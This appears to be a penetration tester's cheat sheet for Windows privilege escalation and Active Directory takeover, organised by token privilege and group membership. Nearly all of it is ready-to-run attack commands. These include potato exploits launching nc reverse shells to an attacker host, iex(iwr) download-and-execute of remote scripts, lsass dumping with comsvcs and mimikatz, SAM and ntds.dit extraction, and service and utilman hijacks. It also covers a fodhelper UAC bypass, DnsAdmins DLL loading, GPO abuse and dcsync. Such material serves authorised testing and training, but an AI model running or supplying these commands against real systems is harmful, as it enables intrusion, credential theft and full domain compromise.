Privileges & groups

Disabled next to a privilege does not mean you do not have it. It is in the token, and anything that needs it enables it itself. The ones that matter are below

whoami /privwhoami /groupswhoami /allwhoami /groups | findstr /i "mandatory"net localgroup administrators

Medium with Administrators in the group list is UAC in the way, not permissions — nothing below is needed, you need a shell that was never filtered. High is elevated. System is a service, or a potato that worked

# Mandatory Label\Medium Mandatory Level  : a normal user, or a filtered admin. Check net localgroup administrators# Mandatory Label\High Mandatory Level    : elevated. You are done — go and read the hives# Mandatory Label\System Mandatory Level  : SYSTEM. Same# filtered admin? come back in unfiltered, from kali:evil-winrm -i $IP -u $USER1 -p $PASS1impacket-psexec "$USER1:$PASS1@$IP"

every token carries SeChangeNotify and SeIncreaseWorkingSet. A desktop logon adds SeShutdown, SeUndock and SeTimeZone. None of them gets you anything — whoami /priv showing only those is a plain user

whoami /priv | findstr /v "SeChangeNotify SeIncreaseWorkingSet SeShutdown SeUndock SeTimeZone"

most tools do this for you. When one does not — takeown or robocopy saying access denied with the privilege plainly there — enable it in the shell first

iex(iwr http://$LHOST:8000/EnableAllTokenPrivs.ps1 -UseBasicParsing); whoami /priv# EnableAllTokenPrivs.ps1 — https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1

# SeImpersonate / SeAssignPrimaryToken      : a potato. Five minutes, SYSTEM, nearly every service account# SeBackup                                   : reg save the hives, secretsdump them. On a DC, ntds.dit through diskshadow# SeRestore / SeTakeOwnership                : overwrite something SYSTEM runs — a service binary, or utilman.exe if you have a desktop# SeManageVolume                             : the exploit, then System32 is writable and it is SeRestore again# SeDebug                                    : dump lsass, or spawn under winlogon and inherit SYSTEM# SeLoadDriver                               : capcom. Slow, needs compiling, last

# Administrators + Medium label              : UAC. Come back in over winrm or psexec# Backup Operators                           : SeBackup and SeRestore, and they can log on to the DC# Server Operators                           : change a service on the DC, start it, SYSTEM on the DC# DnsAdmins                                  : a dll into dns.exe on the DC, SYSTEM on the DC# Account Operators                          : put yourself in DnsAdmins, or reset a service account's password# NT AUTHORITY\SERVICE, IIS APPPOOL\*        : you are a service — SeImpersonate is almost certainly in the list# Remote Management / Remote Desktop Users   : not a privesc. A way back in, which is sometimes all you needed

.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"# the full set, and which potato for which windows, is under SeImpersonatePrivilege

# services have it so they can log. It does not read the log — that is SeSecurityPrivilege

whoami /priv | findstr /i SeBackupwhoami /groups | findstr /i "Backup Operators"

the two hives are enough for the local Administrator hash — pass it back in over smb or winrm

reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\systemimpacket-secretsdump -sam sam -system system LOCALevil-winrm -i $IP -u Administrator -H <nt hash>

robocopy copies by name, so you give it the directory and the file separately. Or the backup cmdlets, which are two dlls

robocopy /b C:\Users\Administrator\Desktop C:\Windows\Temp\x proof.txtrobocopy /b C:\Users\Administrator\.ssh C:\Windows\Temp\x id_rsaImport-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dllSet-SeBackupPrivilege; Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\proof.txt C:\Windows\Temp\proof.txt -Overwrite

the file is locked, so it comes out of a shadow copy. diskshadow reads a script, and the script wants windows line endings. The SYSTEM hive comes with it or nothing decrypts

printf 'set context persistent nocheckers\nadd volume c: alias cdrive\ncreate\nexpose %%cdrive%% z:\n' | unix2dos > $WORKDIR/www/shadow.dsh# on the DC:diskshadow /s C:\Windows\Temp\shadow.dshrobocopy /b z:\Windows\NTDS C:\Windows\Temp\x ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\x\system# back on kali:impacket-secretsdump -ntds ntds.dit -system system LOCAL

impacket's reg backup writes the three hives to a share of yours, over the wire, as a Backup Operator. The local Administrator and the machine account come out of it — not the domain, that still wants ntds

impacket-smbserver x $WORKDIR/loot -smb2supportimpacket-reg "$DOMAIN/$USER1:$PASS1@$DC" backup -o "\\\\$LHOST\\x"impacket-secretsdump -sam $WORKDIR/loot/SAM.save -system $WORKDIR/loot/SYSTEM.save -security $WORKDIR/loot/SECURITY.save LOCAL

# the one line whoami /priv always shows. Not a finding

# normal for a service account. Look at the rest of the list

# administrators have it by default. Not a finding

# SYSTEM and services. Not a finding

# administrators have it by default. If a SYSTEM service writes to a user-controlled path, that is the finding — not this

# ZwCreateToken with a group list of your choosing, then CreateProcessAsUser with the result# a working PoC — https://github.com/decoder-it/CreateTokenExample — compile, run, cmd as the token# if you actually have this on a user token the box was built to be solved this way. Otherwise look at the rest of the list first

whoami /priv | findstr /i SeDebug

comsvcs.dll is on every box and is Microsoft's, so Defender lets it be. The dump comes back to kali and pypykatz reads it there

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp fullcopy C:\Windows\Temp\lsass.dmp \\$LHOST\share\pypykatz lsa minidump $WORKDIR/loot/lsass.dmp

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

a new process whose parent is winlogon inherits winlogon's token. psgetsys.ps1 does the parent-process dance; mimikatz's token::elevate does it for its own process, which is enough to read the hives

.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" exitiex(iwr http://$LHOST:8000/psgetsys.ps1 -UseBasicParsing); ImpersonateFromParentPid -ppid (Get-Process winlogon).Id -command C:\Windows\Temp\nc.exe -cmdargs "$LHOST $LPORT -e cmd"# psgetsys.ps1 — https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1

# default for administrators since windows 10. Not a finding

# a user you control, constrained delegation to the DC's cifs, with protocol transition:Set-DomainObject -Identity $USER1 -Set @{'msds-allowedtodelegateto'='cifs/$DC'}Set-DomainObject -Identity $USER1 -Set @{'useraccountcontrol'=16777216}impacket-getST -spn cifs/$DC -impersonate Administrator "$DOMAIN/$USER1:$PASS1" -dc-ip $IP# the rest is AllowedToDelegate on the bloodhound page

all of them want an outbound shell afterwards, so have the listener up. PrintSpoofer wants the spooler running. GodPotato works from 2012 to 2022 and on 11 without it. SigmaPotato is GodPotato with a reverse shell built in

whoami /priv | findstr /i impersonatesysteminfo | findstr /B /C:"OS Name" /C:"OS Version"Get-Service Spooler# PrintSpoofer   : 10 / 2016 / 2019, spooler running# GodPotato      : 2012 to 2022, 10 and 11. The default pick# SigmaPotato    : same reach, --revshell built in, .NET 4 or newer# JuicyPotatoNG  : 2019 and 10 1809 onward, when the others are caught

.\PrintSpoofer64.exe -i -c cmd.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\SigmaPotato.exe --revshell $LHOST $LPORT.\SigmaPotato.exe "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\JuicyPotatoNG.exe -t * -p "C:\Windows\Temp\nc.exe" -a "$LHOST $LPORT -e cmd"

no interactive shell needed — the potato is the shell. Quote the inner command once for the potato and once for whatever you are typing into

xp_cmdshell "C:\Windows\Temp\GodPotato-NET4.exe -cmd \"C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd\""curl -s "http://$IP/shell.aspx?c=C:\Windows\Temp\GodPotato-NET4.exe+-cmd+%22C:\Windows\Temp\nc.exe+$LHOST+$LPORT+-e+cmd%22"

you are SYSTEM. Proof, then the hives, then a domain credential if the box is joined — the machine account is one

type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" exitreg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\security

# administrators have it. Not a finding

# if it is next to SeAssignPrimaryToken, see that. Alone, not a finding

# the other line whoami /priv always shows

two binaries to build — EoPLoadDriver registers the driver under HKCU and loads it, ExploitCapcom talks to it. ExploitCapcom launches cmd.exe on the desktop by default; edit it to run your nc line before compiling, since you rarely have a desktop

# Capcom.sys, EoPLoadDriver, ExploitCapcom — github: FuzzySecurity/Capcom-Rootkit, TarlogicSecurity/EoPLoadDriver, tandasat/ExploitCapcom.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys.\ExploitCapcom.exe# the driver stays loaded until reboot; the key does not clean itself upreg delete HKCU\System\CurrentControlSet\MyService /f

# MSSQL's service account usually has it. The finding there is SeImpersonate, further up the list

nxc ldap $DC -u $USER1 -p $PASS1 -M maqimpacket-addcomputer "$DOMAIN/$USER1:$PASS1" -computer-name 'FAKE01$' -computer-pass 'FakePass123!' -dc-ip $IP# then AddAllowedToAct, or GenericWrite on a computer, on the bloodhound page

whoami /priv | findstr /i SeManageVolume

one binary, no arguments. Check the ACL on C:\ afterwards — Users should now show (F)

.\SeManageVolumeExploit.exeicacls C:\ | findstr /i "users everyone"icacls C:\Windows\System32 | findstr /i "users everyone"

the same moves as SeRestorePrivilege. A service binary, or utilman.exe if you have the lock screen. The printconfig route makes the spooler load your dll as SYSTEM without a desktop

# a service running as SYSTEM that you can restart, whose binary is now writable:sc qc <service> | findstr BINARY_PATH_NAMEcopy /y C:\Windows\Temp\svc.exe "C:\path\to\service.exe" & sc stop <service> & sc start <service># or the spooler — it loads this dll as SYSTEM when a print notification object is created:copy /y C:\Windows\Temp\evil.dll C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll$t=[Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}"); $o=[Activator]::CreateInstance($t); $o.Open()

# administrators have it. Not a finding

# if you have it next to SeTakeOwnership, use that. Alone, move on

shutdown /r /t 0 /m \\$IP

whoami /priv | findstr /i SeRestore

SeRestoreAbuse points the seclogon service's ImagePath at your command and starts it. No desktop needed, nothing on disk changes

.\SeRestoreAbuse.exe "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"# https://github.com/xct/SeRestoreAbuse

robocopy copies by name into a directory, so stage the file under the name it has to land as. A service binary and a restart, or utilman.exe and the lock screen if you have rdp

copy C:\Windows\Temp\svc.exe C:\Windows\Temp\x\service.exerobocopy /b C:\Windows\Temp\x "C:\path\to" service.exesc stop <service> & sc start <service># the lock screen route:copy C:\Windows\System32\cmd.exe C:\Windows\Temp\x\utilman.exerobocopy /b C:\Windows\Temp\x C:\Windows\System32 utilman.exe# lock the screen, click ease of access (or Win+U) — cmd as SYSTEM

the privilege is there but disabled in this token, and robocopy does not enable it. Enable the lot

iex(iwr http://$LHOST:8000/EnableAllTokenPrivs.ps1 -UseBasicParsing); whoami /priv | findstr /i SeRestore

wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /rd:true | findstr /i "Process Command Line"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} | % { $_.Properties[8].Value } | findstr /i "pass user net"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | select -First 20 TimeCreated,@{n='user';e={$_.Properties[5].Value}}

whoami /priv | findstr SeShutdown && shutdown /r /t 0

impacket-secretsdump "$DOMAIN/$USER1:$PASS1@$DC" -just-dc-ntlm

# administrators have it. Not a finding

# administrators have it. Not a finding

# not a finding. If the clock is wrong it is your kali clock — ntpdate $DC

whoami /priv | findstr /i SeTakeOwnership

a service binary and a restart. Or utilman.exe and the lock screen when you have rdp — that leaves the lock screen broken, so put it back after

takeown /f "C:\path\to\service.exe" && icacls "C:\path\to\service.exe" /grant %USERNAME%:Fcopy /y C:\Windows\Temp\svc.exe "C:\path\to\service.exe" & sc stop <service> & sc start <service># the lock screen route:takeown /f C:\Windows\System32\utilman.exe && icacls C:\Windows\System32\utilman.exe /grant %USERNAME%:Fcopy /y C:\Windows\System32\utilman.exe C:\Windows\Temp\utilman.bak & copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe# lock the screen, Win+U — cmd as SYSTEM. Afterwards: copy /y C:\Windows\Temp\utilman.bak C:\Windows\System32\utilman.exe

the same idea against a service's ImagePath when the binary is somewhere you cannot reach — take ownership of the key, grant yourself, point it at your command

$k='HKLM:\SYSTEM\CurrentControlSet\Services\<service>'; $a=Get-Acl $k; $a.SetOwner([System.Security.Principal.NTAccount]$env:USERNAME); Set-Acl $k $a$a=Get-Acl $k; $a.AddAccessRule((New-Object System.Security.AccessControl.RegistryAccessRule($env:USERNAME,'FullControl','Allow'))); Set-Acl $k $areg add "HKLM\SYSTEM\CurrentControlSet\Services\<service>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd" /fsc stop <service> & sc start <service>

# LsaLogonUser with an S4U logon for Administrator, the local Administrators SID added to the token, then CreateProcessWithToken# a working PoC in C# — https://github.com/decoder-it/SeTcbPrivilege — compile, run, cmd as SYSTEM# practical: anything that has SeTcb has SeDebug and SeImpersonate too. Use those first, they need no compiler

# not a finding

# PrivFu has a PoC that backs every user's credentials up to a file — github: daem0nc0re/PrivFu, PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC.\SeTrustedCredManAccessPrivilegePoC.exe C:\Windows\Temp\creds.bin# the README there says how to read the backup. The quicker check is whether cmdkey /list already shows something as you

# not a finding

# not a finding

whoami /groups | findstr /i "mandatory administrators"net localgroup administrators

network logons for domain accounts and for the built-in Administrator are not filtered. Any other local account is filtered remotely too, unless LocalAccountTokenFilterPolicy is set — which an elevated shell can do

evil-winrm -i $IP -u $USER1 -p $PASS1impacket-psexec "$DOMAIN/$USER1:$PASS1@$IP"impacket-wmiexec "$USER1:$PASS1@$IP"reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

needs an interactive session — a desktop, or a shell spawned from one. fodhelper auto-elevates and reads its command from a key you can write. Put the key back after

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /freg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd" /ffodhelper.exereg delete HKCU\Software\Classes\ms-settings /f

a task created with explicit credentials runs with a whole token, filtered or not

schtasks /create /tn x /tr "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd" /sc once /st 00:00 /ru $USER1 /rp $PASS1 /rl highest /f & schtasks /run /tn x

type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigreg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\security.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" exit

type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" exit# the machine account — enumerate the domain and roast as the computer:.\SharpHound.exe -c All.\Rubeus.exe kerberoast /nowrap

cmdkey /listrunas /savecred /user:$DOMAIN\$ADMINU "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"# Mandatory Label\Medium, above, for fodhelper

# no runas, no fodhelper, no utilman. Potatoes, services, tasks and the hives are all finewhoami /priv

whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"# the full set is under SeImpersonatePrivilege

# as the built-in Administrator, if you have that credential:evil-winrm -i $IP -u Administrator -p $ADMINP# from any elevated session on the box:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f# or an interactive logon — rdp — and then the Medium label entry above:xfreerdp /v:$IP /u:$USER1 /p:$PASS1 /cert:ignore

whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"icacls C:\inetpub\wwwroot | findstr /i "apppool iis_iusrs"# the app's own config has the database password:type C:\inetpub\wwwroot\web.config | findstr /i "connectionString password"

whoami /groups | findstr /i mandatory# Medium — come back in:evil-winrm -i $IP -u $USER1 -p $PASS1# High or System — done:type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig

reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securityimpacket-secretsdump -sam sam -system system -security security LOCAL

impacket-smbserver x $WORKDIR/loot -smb2supportimpacket-reg "$DOMAIN/$USER1:$PASS1@$DC" backup -o "\\\\$LHOST\\x"impacket-secretsdump -sam $WORKDIR/loot/SAM.save -system $WORKDIR/loot/SYSTEM.save -security $WORKDIR/loot/SECURITY.save LOCAL

the diskshadow script and the robocopy are under SeBackupPrivilege. The machine account hash out of the SECURITY hive is a domain credential on its own, before you even get to ntds

diskshadow /s C:\Windows\Temp\shadow.dshrobocopy /b z:\Windows\NTDS C:\Windows\Temp\x ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\x\systemimpacket-secretsdump -ntds ntds.dit -system system LOCAL

# SeRestorePrivilege, above — a service binary through robocopy /b, or SeRestoreAbuse.\SeRestoreAbuse.exe "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"

pick one that is stopped and set to manual so nothing notices — VSS is the usual. Put the path back after

sc.exe qc VSSsc.exe config VSS binPath= "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"sc.exe start VSSsc.exe config VSS binPath= "C:\Windows\system32\vssvc.exe"

impacket-services "$DOMAIN/$USER1:$PASS1@$DC" change -name VSS -path "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"impacket-services "$DOMAIN/$USER1:$PASS1@$DC" start -name VSSimpacket-services "$DOMAIN/$USER1:$PASS1@$DC" change -name VSS -path "C:\Windows\system32\vssvc.exe"

SYSTEM on the DC is the domain. dcsync from there, or just read the proof

.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\Administrator" exittype C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig

net group "DnsAdmins" $USER1 /add /domainbloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 add groupMember DnsAdmins $USER1

any user outside the protected groups. A service account with an SPN is a good one — it is usually local admin somewhere

net user svc_sql 'Passw0rd123!' /domainbloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 set password svc_sql 'Passw0rd123!'nxc smb $SUBNET -u svc_sql -p 'Passw0rd123!'

# new group membership lives in a new ticket — log off and on, or get a fresh TGT. Then the DnsAdmins entryklist purge

whoami /priv | findstr /i SeLoadDriver.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys && .\ExploitCapcom.exe

xfreerdp /v:$IP /u:$USER1 /p:$PASS1 /d:$DOMAIN /cert:ignore /dynamic-resolution +clipboard /drive:share,$WORKDIR/www

evil-winrm -i $IP -u $USER1 -p $PASS1nxc winrm $IP -u $USER1 -p $PASS1

$m = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application.1","$IP2")); $m.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-nop -w hidden -enc <base64>","7")impacket-dcomexec "$DOMAIN/$USER1:$PASS1@$IP2" -object MMC20

wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /rd:true | findstr /i "Process Command Line"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} | % { $_.Properties[8].Value } | findstr /i "pass net user"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | select -First 30 TimeCreated,@{n='user';e={$_.Properties[5].Value}},@{n='from';e={$_.Properties[18].Value}}wevtutil qe Security /r:$DC /q:"*[System[(EventID=4688)]]" /f:text | findstr /i "Command Line"

Get-VM | select Name,StateGet-VMHardDiskDrive * | select VMName,Path

a checkpoint gives you a consistent copy without stopping the VM. Mount it read-only and copy the two files out

Checkpoint-VM -Name DC01 -SnapshotName xMount-VHD -Path "C:\VMs\DC01\Virtual Hard Disks\DC01.vhdx" -ReadOnly -Passthru | Get-Disk | Get-Partition | Get-Volumerobocopy /b E:\Windows\NTDS C:\Windows\Temp\x ntds.ditrobocopy /b E:\Windows\System32\config C:\Windows\Temp\x SYSTEMRemove-VMSnapshot -VMName DC01 -Name x# on kali: impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

icacls "C:\path\to\service.exe" | findstr /i "users everyone authenticated".\accesschk.exe /accepteula -uwcqv "Authenticated Users" *.\accesschk.exe /accepteula -uwdq "C:\Program Files"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile; Get-ModifiableService; Get-UnquotedService"

# not a finding. Read the rest of the list

# not a quick win. If it is the only thing on the list, the box wants a different route — services, tasks, creds lying about

docker run -it --rm -v C:\:C:\host mcr.microsoft.com/windows/nanoserver:ltsc2022 cmdtype C:\host\Users\Administrator\Desktop\proof.txt

impacket-secretsdump "$DOMAIN/$ADMINU:$ADMINP@$DC" -just-dc-ntlmnxc smb $SUBNET -u $ADMINU -p $ADMINP -X "type C:\Users\Administrator\Desktop\proof.txt; hostname; ipconfig"type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig

# from SYSTEM on a joined box you are COMPUTER$ to the domain. Enumerate and roast as it.\SharpHound.exe -c All.\Rubeus.exe kerberoast /nowrap# its hash, for kali — lsadump::secrets prints $MACHINE.ACC.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" exit

an adduser dll is quieter than a shell and survives dns.exe exiting. The cheatsheet's dll hijack card has the source

msfvenom -p windows/x64/exec cmd='net localgroup administrators $USER1 /add' -f dll -o $WORKDIR/www/dns.dllx86_64-w64-mingw32-gcc adduser.c --shared -o $WORKDIR/www/dns.dll

a share you can write on the DC, or a UNC path on an unpatched one. The restart is the part that fails when it fails — Server Operators can always do it

copy \\$LHOST\share\dns.dll C:\Windows\Temp\dns.dlldnscmd $DC /config /serverlevelplugindll C:\Windows\Temp\dns.dlldnscmd $DC /config /serverlevelplugindll \\$LHOST\share\dns.dllsc.exe \\$DC stop dns & sc.exe \\$DC start dns

leave the key in place and the DC's DNS breaks at every restart

net group "Domain Admins" /domainevil-winrm -i $DC -u $USER1 -p $PASS1reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /fsc.exe \\$DC stop dns & sc.exe \\$DC start dns

Get-DomainGPO | select displayname,gpcfilesyspathGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'Write|GenericAll' -and $_.SecurityIdentifier -eq (Get-DomainUser $USER1).objectsid }bloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 get writable --otype GPO

.\SharpGPOAbuse.exe --AddComputerTask --TaskName x --Author "$DOMAIN\$ADMINU" --Command cmd.exe --Arguments "/c net localgroup administrators $USER1 /add" --GPOName "Default Domain Policy"python3 pygpoabuse.py "$DOMAIN/$USER1:$PASS1" -gpo-id <gpo guid> -command 'net localgroup administrators $USER1 /add' -dc-ip $IPgpupdate /force

New-GPO -Name x | New-GPLink -Target "OU=Workstations,DC=$(echo $DOMAIN | sed 's/\./,DC=/g')"# then the task as above, against GPOName x. The edges are on the bloodhound page — WriteGPLink, and GenericWrite on a GPO

certipy shadow auto -u "$USER1@$DOMAIN" -p $PASS1 -account Administrator -dc-ip $IPcertipy shadow auto -u "$USER1@$DOMAIN" -p $PASS1 -account 'DC01$' -dc-ip $IP# auto prints the NT hash. The rest is AddKeyCredentialLink on the bloodhound page

bloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 add dcsync $USER1impacket-secretsdump "$DOMAIN/$USER1:$PASS1@$DC" -just-dc-ntlmbloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 remove dcsync $USER1

impacket-getTGT "$DOMAIN/$USER1:$PASS1" -dc-ip $IP && export KRB5CCNAME=$USER1.ccacheimpacket-psexec -k -no-pass "$DOMAIN/$USER1@$DC"

# if you are in it you are usually in Domain Admins too. Check that first

certipy find -u "$USER1@$DOMAIN" -p $PASS1 -dc-ip $IP -vulnerable -stdout

# if anonymous ldap and rid brute work against the DC, this is why. Carry on enumerating